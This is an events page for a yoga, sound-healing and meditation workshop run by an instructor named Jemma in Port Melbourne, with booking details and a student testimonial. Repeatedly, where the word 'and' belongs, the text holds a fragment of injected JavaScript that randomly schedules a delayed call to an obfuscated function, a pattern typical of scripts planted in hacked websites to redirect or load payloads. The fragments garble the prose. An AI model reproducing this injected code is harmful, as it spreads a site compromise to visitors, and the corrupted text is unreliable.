Yoga andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and meditation at Shambhala Centre in Port Melbourne

Experience a 2 hour workshop with Jemma, self confessed urban hippie andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and local of Port Melbourne. Immerse yourself in sound healing with a Tibetan singing bowl, gentle yoga, soothing body relaxation followed by a beautiful guided meditation. Mats, blocks, blankets, music andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and warm drink provided!

Learn how to focus on your breath, be mindful of your body andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and give yourself the gift of stillness.

When Saturday 24th June 10am – 12pm

Where Shambhala Centre Suite1/14 Salmon Street Port Melbourne

Cost $33 Bookings essential!

Book here!




Contact Jemma for any questions.

Download flyer below 

Shambhala workshop

Testimonials

Hi Jemma! Thank you for being such a wonderful yoga instructor! I was very anxious about learning something new but you’ve really helped me to fall in love with yoga! The way you have designed andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and carried out each session, your respectful, encouraging andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and caring disposition really helped me to find the courage to keep coming andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and keep trying. I really appreciate your efforts in teaching us. Thank you once again andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and may you have a wonderful Christmas with your loved ones. Hayley from Singapore x